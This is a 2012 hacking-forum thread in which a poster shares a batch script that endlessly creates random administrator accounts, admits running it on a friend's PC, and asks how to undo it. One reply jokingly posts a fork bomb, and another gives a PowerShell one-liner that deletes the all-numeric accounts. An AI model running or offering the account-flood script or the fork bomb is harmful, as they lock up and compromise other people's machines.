Author Topic: [Batch] give me an antidote  (Read 1204 times)

0 Members and 1 Guest are viewing this topic.

Offline Dark Nebulae

  • Peasant
  • *
  • Posts: 117
  • Cookies: -79
  • Unleash the Hacker within you
    • View Profile
[Batch] give me an antidote
« on: September 10, 2012, 11:58:58 am »

I created and ran it on my friend's pc. can anyone please give me a batch file to reverse this.





Code: [Select]
@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood
Trust is like a piece of paper.Once it is crumbled,it can never be perfect.

Offline flowjob

  • Knight
  • **
  • Posts: 327
  • Cookies: 46
  • Pastafarian
    • View Profile
Re: [Batch] give me an antidote
« Reply #1 on: September 10, 2012, 12:50:36 pm »
lmao

just make a loop that checks through all usernames. if the username is not a original one,remove the user,otherwise skip...
Quote
<phil> I'm gonna DDOS the washing machine with clothes packets.
<deviant_sheep> dont use too much soap or youll cause a bubble overflow

Offline NeX

  • Peasant
  • *
  • Posts: 74
  • Cookies: 5
    • View Profile
Re: [Batch] give me an antidote
« Reply #2 on: September 10, 2012, 11:24:24 pm »
You're true genius!
Try running
Code: [Select]
s:
start %0
goto s

Offline xzid

  • Knight
  • **
  • Posts: 329
  • Cookies: 41
    • View Profile
Re: [Batch] give me an antidote
« Reply #3 on: September 12, 2012, 08:51:57 am »
%random% will be digits only, regular usernames will usually contain letters.. remove all numeric usernames, in powershell:

Code: [Select]
([string]($nu=net user)[4..($nu.count-3)]).split(" ")|?{($_ -match "^\d+$")}|%{net user $_ /delete}
« Last Edit: September 12, 2012, 08:53:23 am by xzid »